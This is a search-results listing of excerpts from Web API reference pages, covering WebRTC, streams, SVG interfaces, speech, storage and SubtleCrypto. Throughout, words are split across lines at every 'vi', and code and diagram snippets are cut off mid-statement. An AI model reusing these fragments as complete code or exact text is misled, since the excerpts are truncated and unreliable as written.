vided (that is, either the rtciceserver.username or rtciceserver.credentials is missing).
... syntaxerror one or more of the urls pro
vided in the configuration.iceservers list is invalid.
RTCRtpCodecCapability - Web APIs
the webrtc api's rtcrtpcodeccapability dictionary pro
vides information describing the capabilities of a single media codec.
... sdpfmtpline optional a domstring gi
ving the format specific parameters field from the a=fmtp line in the sdp which corresponds to the codec, if such a line exists.
... description rtcrtpcodeccapabilities describes the basic parameters for a single codec supported by the user's de
vice.
RTCRtpSynchronizationSource - Web APIs
the information pro
vided is based on the last ten seconds of media received.
... voiceacti
vityflag optional a boolean value indicating whether or not voice acti
vity is included in the last rtp packet played from the source.
... if the peer has indicated that it's not supporting voice acti
vity detection, this field is not pro
vided.
RTCRtpTransceiver - Web APIs
receiver read only the rtcrtpreceiver object that handles recei
ving and decoding incoming media.
... stopped indicates whether or not sending and recei
ving using the paired rtcrtpsender and rtcrtpreceiver has been permanently disabled, either due to sdp offer/answer, or due to a call to stop().
...the associated sender stops sending data, and the associated receiver likewise stops recei
ving and decoding incoming data.
RTCTrackEvent - Web APIs
you can add a track event listener to be notified when the new track is available so that you can, for example, attach its media to a <
video> element, using either rtcpeerconnection.addeventlistener() or the ontrack event handler property.
... example this simple example creates an event listener for the track event which sets the srcobject of the <
video> element with the id
videobox to the first stream in the list passed in the event's streams array.
... peerconnection.addeventlistener("track", e => { let
videoelement = document.getelementbyid("
videobox");
videoelement.srcobject = e.streams[0]; }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent' in that specification.
RadioNodeList.value - Web APIs
on retrie
ving the value property, the value of the currently checked radio button is returned as a string.
...ype="radio" name="color" value="blue">blue</label> <label><input type="radio" name="color" value="red">red</label> </form> javascript // get the form const form = document.forms[0]; // get the form's radio buttons const radios = form.elements['color']; // choose the "red" option radios.value = 'red'; result specifications specification status comments html li
ving standardthe definition of 'radionodelist.value' in that specification.
... li
ving standard initial definition.
ReadableStream.tee() - Web APIs
you might do this for example in a ser
viceworker if you want to fetch a response from the server and stream it to the browser, but also stream it to the ser
viceworker cache.
... examples in the following simple example, a pre
viously-created stream is teed, then both resulting streams (contained in two members of a generated array) are passed to a function that reads the data out of the two streams and prints each stream's chunks sequentially to a different part of the ui.
... li
ving standard initial definition.
ReadableStream - Web APIs
readablestream.pipethrough() pro
vides a chainable way of piping the current stream through a transform stream or any other writable/readable pair.
... if (done) { // tell the browser that we have finished sending data controller.close(); return; } // get the data and send it to the browser
via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "content-type": "text/html" } }); }); specifications specification status comment streamsthe definition of 'readablestream' in that specification.
... li
ving standard initial definition ...
ReadableStreamDefaultController.close() - Web APIs
readers will still be able to read any pre
viously-enqueued chunks from the stream, but once those are read, the stream will become closed.
...a cancel() function is also pro
vided to stop the generation if readablestream.cancel() is called for any reason.
... li
ving standard initial definition.
ReadableStreamDefaultController - Web APIs
a cancel() function is also pro
vided to stop the generation if readablestream.cancel() is called for any reason.
... note that a readablestreamdefaultcontroller object is pro
vided as the parameter of the start() and pull() functions.
... li
ving standard initial definition ...
ReadableStreamDefaultReader.cancel() - Web APIs
syntax var promise = readablestreamdefaultreader.cancel(reason); parameters reason optional a domstring pro
viding a human-readable reason for the cancellation.
... examples in the following simple example, a pre
viously-created custom readablestream is read using a readablestreamdefaultreader created using getreader().
... li
ving standard initial definition.
ReadableStreamDefaultReader.read() - Web APIs
the read() method of the readablestreamdefaultreader interface returns a promise pro
viding access to the next chunk in the stream's internal queue.
... in this example stream is a pre
viously-created custom readablestream.
... li
ving standard initial definition.
ReadableStreamDefaultReader - Web APIs
readablestreamdefaultreader.read() returns a promise pro
viding access to the next chunk in the stream's internal queue.
... if (done) { // tell the browser that we have finished sending data controller.close(); return; } // get the data and send it to the browser
via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "content-type": "text/html" } }); }); specifications specification status comment streamsthe definition of 'readablestreamdefaultreader' in that specification.
... li
ving standard initial definition ...
ReportingObserver - Web APIs
methods reportingobserver.disconnect() stops a reporting observer that had pre
viously started obser
ving from collecting reports.
... examples in our deprecation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start obser
ving reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); later on in the example we deliberately use the deprecated version of mediade
vices.getusermedia(): if(na
vigator.mozgetusermedia) { na
vigator.mozgetusermedia( constraints, success, ...
... failure); } else { na
vigator.getusermedia( constraints, success, failure); } this causes a deprecation report to be generated; because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details.
Request.destination - Web APIs
the destination is used by the user agent to, for example, help determine which set of rules to follow for cors purposes, or how to na
vigate any complicated code paths that affect how specific types of request get handled.
...script-based destinations include <script> elements, as well as any of the worklet-based destinations (including audioworklet and paintworklet), and the worker-based destinations, including ser
viceworker and sharedworker.
... li
ving standard initial definition ...
Response - Web APIs
you can create a new response object using the response.response() constructor, but you are more likely to encounter a response object being returned as the result of another api operation—for example, a ser
vice worker fetchevent.respondwith, or a simple windoworworkerglobalscope.fetch().
... response.trailers a promise resol
ving to a headers object, associated with the response with response.headers for values of the http trailer header.
... li
ving standard initial definition ...
SVGFEConvolveMatrixElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><...
... svgfeconvolvematrixelement.di
visor read only an svganimatednumber corresponding to the di
visor attribute of the given element.
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGFEFuncAElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
...rget="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not pro
vide any specific properties, but inherits properties from its parent interface, svgcomponenttransferfunctionelement.
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgcomponenttransferfunctionelement.
SVGFEFuncBElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
...rget="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncbelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not pro
vide any specific properties, but inherits properties from its parent interface, svgcomponenttransferfunctionelement.
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgcomponenttransferfunctionelement.
SVGFEFuncGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
...rget="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not pro
vide any specific properties, but inherits properties from its parent interface, svgcomponenttransferfunctionelement.
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgcomponenttransferfunctionelement.
SVGFEFuncRElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
...rget="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfefuncrelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not pro
vide any specific properties, but inherits properties from its parent interface, svgcomponenttransferfunctionelement.
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgcomponenttransferfunctionelement.
SVGFEMergeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
...et="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfemergeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface not pro
vide any specific properties, but inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGGraphicsElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4...
... svggraphicselement.getctm() returns a dommatrix representing the matrix that transforms the current element's coordinate system to its svg
viewport's coordinate system.
... svggraphicselement.getscreenctm() returns a dommatrix representing the matrix that transforms the current element's coordinate system to the coordinate system of the svg
viewport for the svg document fragment.
SVGMarkerElement - Web APIs
interface over
view also implement none methods void setorienttoangle(in svgangle angle) void setorienttoauto() properties svganimatedlength refx svganimatedlength refy svganimatedenumeration markerunits svganimatedlength markerwidth svganimatedlength markerheight svganimatedenumeration orienttype svganimatedangle orientangle constants ...
... browser compatibility desktop mobile chrome edge firefox internet explorer opera safari android web
view chrome for android firefox for android opera for android safari on ios samsung internet svgmarkerelement chrome ?
... web
view android ?
SVGPatternElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="...
...e4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgpatternelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement and implements the ones from svgfitto
viewbox and svgurireference.
... methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement and implements the ones from svgfitto
viewbox and svgurireference.
SVGStylable - Web APIs
interface over
view also implement none methods cssvalue getpresentationattribute(in domstring name) properties readonly svganimatedstring classname readonly cssstyledeclaration style normative document svg 1.1 (2nd edition) properties name type description classname svganimatedstring corresponds to attribute class on the given element.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgstylablechrome ?
... web
view android no support nochrome android ?
SVGSymbolElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25...
..." font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsymbolelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svggraphicselement, and implements properties from svgfitto
viewbox.
... methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggraphicselement, and implements methods from svgfitto
viewbox.
SVGTSpanElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" strok...
..._top"><rect x="-429" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-354" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtspanelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't pro
vide any specific properties, but inherits the properties from its parent, svgtextpositioningelement.
... methods this interface doesn't pro
vide any specific methods.
SVGTextPositioningElement - Web APIs
the svgtextpositioningelement interface is implemented by elements that support attributes that position indi
vidual text glyphs.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121"...
... methods this interface doesn't pro
vide any specific methods, but inherits methods from its parent, svgtextcontentelement.
Screen.availHeight - Web APIs
this can be no larger than the value of window.screen.height, and will be less if the de
vice or user agent reserves any vertical space for itself.
... on a windows system, this would function similarly, by opening the window and sizing it vertically so it uses all available vertical space, lea
ving room for the taskbar and any other interface elements that reserve space.
... specifications specification status comment css object model (cssom)
view modulethe definition of 'screen.availheight' in that specification.
Screen - Web APIs
setting to false will turn off the de
vice's screen.
... screen.mozbrightness controls the brightness of a de
vice's screen.
... void seteventhandler(domstring type, eventhandler handler) eventhandler geteventhandler(domstring type) example if (screen.pixeldepth < 8) { // use low-color version of page } else { // use regular, colorful page } specification specification status comment css object model (cssom)
view modulethe definition of 'screen' in that specification.
ScriptProcessorNode.bufferSize - Web APIs
example the following example shows basic usage of a scriptprocessornode to take a track loaded
via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode.
... note: for a full working example, see our script-processor-node github repo (also
view the source code.) var myscript = document.queryselector('script'); var mypre = document.queryselector('pre'); var playbutton = document.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = aud...
...ioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track
via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', '
viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the sam...
ScriptProcessorNode.onaudioprocess - Web APIs
} example the following example shows basic usage of a scriptprocessornode to take a track loaded
via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode.
... note: for a full working example, see our script-processor-node github repo (also
view the source code.) var myscript = document.queryselector('script'); var mypre = document.queryselector('pre'); var playbutton = document.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode...
... = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track
via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', '
viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contain...
Server-sent events - Web APIs
interfaces eventsource defines all the features that handle connecting to a server, recei
ving events/data, errors, closing a connection, etc.
... examples simple sse demo using php specification specification status comment html li
ving standardthe definition of 'server-sent events' in that specification.
... li
ving standard see also tools eventsource polyfill for node.js remy sharp’s eventsource polyfill yaffle’s eventsource polyfill rick waldron’s jquery plugin intercooler.js declarative sse support related topics ajax javascript websockets other resources a twitter like application powered by server-sent events and its code on github.
SharedWorker() - Web APIs
exceptions a securityerror is raised if the document is not allowed to start workers, for example if the url has an invalid syntax or if the same-origin policy is
violated.
...hange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.port.onmessage = function(e) { result1.textcontent = e.data; console.log('message received from worker'); } for a full example, see our basic shared worker example (run shared worker.) specifications specification status comment html li
ving standardthe definition of 'sharedworker()' in that specification.
... li
ving standard ...
SharedWorkerGlobalScope.applicationCache - Web APIs
don't use it to make offline websites — consider using ser
vice workers instead.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetapplicationcachechrome full support 4edge full support ≤79firefox full support 29ie no support noopera full support ...
... 10.6safari no support noweb
view android full support yeschrome android full support yesfirefox android full support 29opera android full support yessafari ios ?
SharedWorkerGlobalScope: connect event - Web APIs
bubbles no cancelable no interface messageevent event handler property sharedworkerglobalscope.onconnect examples this example shows a shared worker file — when a connection to the worker occurs from a main thread
via a messageport, the onconnect event handler fires.
...d worker.) addeventlistener equivalent you could also set up an event handler using the addeventlistener() method: self.addeventlistener('connect', function(e) { var port = e.ports[0]; port.onmessage = function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); } }); specifications specification status html li
ving standardthe definition of 'connect event' in that specification.
... li
ving standard ...
SourceBuffer.abort() - Web APIs
a buffer is being appended but the operation has not yet completed) a user "scrubs" the
video seeking to a new point in time.
... in this case you would want to manually call abort() on the source buffer to stop the decoding of the current buffer, then fetch and append the newly requested segment that relates to the current new position of the
video.
... you can see something similar in action in nick desaulnier's bufferwhenneeded demo — in line 48, an event listener is added to the playing
video so a function called seek() is run when the seeking event fires.
SpeechGrammarList.addFromURI() - Web APIs
note that some speech recognition ser
vices may support built-in grammars that can be specified by uri.
...the weight means the importance of this grammar, or the likelihood that it will be recognised by the speech recognition ser
vice.
...lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; speechrecognitionlist.addfromuri('http://www.example.com/grammar.txt'); // adds a second grammar to the list.
SpeechGrammarList - Web APIs
the speechgrammarlist interface of the web speech api represents a list of speechgrammar objects containing words or patterns of words that we want the recognition ser
vice to recognize.
... methods speechgrammarlist.item() standard getter — allows indi
vidual speechgrammar objects to be retrieved from the speechgrammarlist using array syntax.
...lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'speechgrammarlist()' in that specification.
SpeechRecognitionError.error - Web APIs
aborted speech input was aborted in some manner, perhaps by some user-agent-specific beha
vior like a button the user can press to cancel speech input.
... ser
vice-not-allowed the user agent disallowed the requested speech recognition ser
vice, either because the user agent doesn't support it or because of reasons of security, privacy or user preference.
... in this case it would allow another more suitable speech recognition ser
vice to be used instead.
SpeechRecognitionErrorEvent.error - Web APIs
aborted speech input was aborted in some manner, perhaps by some user-agent-specific beha
vior like a button the user can press to cancel speech input.
... ser
vice-not-allowed the user agent disallowed the requested speech recognition ser
vice, either because the user agent doesn't support it or because of reasons of security, privacy or user preference.
... in this case it would allow another more suitable speech recognition ser
vice to be used instead.
SpeechSynthesisVoice.voiceURI - Web APIs
the voiceuri read-only property of the speechsynthesisvoice interface returns the type of uri and location of the speech synthesis ser
vice for this voice.
...this is a generic uri and can point to local or remote ser
vices, e.g.
... it could be a proprietary system urn or a a url to a remote ser
vice.
SpeechSynthesisVoice - Web APIs
every speechsynthesisvoice has its own relative speech ser
vice including information about language, name and uri.
... speechsynthesisvoice.localser
vice read only a boolean indicating whether the voice is supplied by a local speech synthesizer ser
vice (true), or a remote speech synthesizer ser
vice (false.) speechsynthesisvoice.name read only returns a human-readable name that represents the voice.
... speechsynthesisvoice.voiceuri read only returns the type of uri and location of the speech synthesis ser
vice for this voice.
StaticRange - Web APIs
the dom staticrange interface extends abstractrange to pro
vide a method to specify a range of content in the dom whose contents don't update to reflect changes which occur within the dom tree.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/abstractrange" target="_top"><rect x="1" y="1" width="130" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">abstractrange</text></a><polyline points="131,25 141,20...
... li
ving standard static rangethe definition of 'staticrange' in that specification.
Storage.removeItem() - Web APIs
the storage interface of the web storage api pro
vides access to a particular domain's session or local storage.
... specifications specification status comment html li
ving standardthe definition of 'storage.removeitem' in that specification.
... li
ving standard ...
Storage - Web APIs
the storage interface of the web storage api pro
vides access to a particular domain's session or local storage.
... specifications specification status comment html li
ving standardthe definition of 'storage' in that specification.
... li
ving standard ...
StorageEstimate.quota - Web APIs
this value is an estimate to help prevent its use for fingerprinting—that is, identifying a de
vice using an amalgamation of the values of seemingly innocuous properties.
...</label> javascript content na
vigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'quota' in that specification.
... li
ving standard initial definition ...
StorageManager.estimate() - Web APIs
this variance is based on factors such as: how often the user
visits public site popularity data user engagement signals like bookmarking, adding to homescreen, or accepting push notifications example in this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user.
...</label> javascript content na
vigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'estimate()' in that specification.
... li
ving standard initial definition.
StorageManager.persisted() - Web APIs
syntax na
vigator.storage.persisted().then(function(persistent) { ...
... example if (na
vigator.storage && na
vigator.storage.persist) na
vigator.storage.persisted().then(function(persistent) { if (persistent) console.log("storage will not be cleared except by explicit user action"); else console.log("storage may be cleared by the ua under storage pressure."); }); specifications specification status comment storagethe definition of 'persisted' in that specification.
... li
ving standard initial definition.
StorageManager - Web APIs
the storagemanager interface of the the storage api pro
vides an interface for managing persistance permissions and estimating available storage.
... you can get a reference to this interface using either na
vigator.storage or workerna
vigator.storage.
... li
ving standard initial definition.
SubtleCrypto.generateKey() - Web APIs
syntax const result = crypto.subtle.generatekey(algorithm, extractable, keyusages); parameters algorithm is a dictionary object defining the type of key to generate and pro
viding extra algorithm-specific parameters.
... derivekey: the key may be used in deri
ving a new key.
... derivebits: the key may be used in deri
ving bits.
SubtleCrypto.unwrapKey() - Web APIs
unwrappedkeyalgo is a dictionary object defining the type of key to unwrap and pro
viding extra algorithm-specific parameters as required.
... derivekey: the key may be used in deri
ving a new key.
... derivebits: the key may be used in deri
ving bits.
HTMLSlotElement.assignedSlot - Web APIs
li
ving standard browser compatibility the compatibility table on this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetassignedslotchrome full support 53edge full support ≤18firefox full support yesie ?
... opera full support 40safari full support 10.1web
view android full support 53chrome android full support 53firefox android full support yesopera android full support 41safari ios full support 10.3samsung internet android full support 6.0legend full support full support compatibility unknown ...
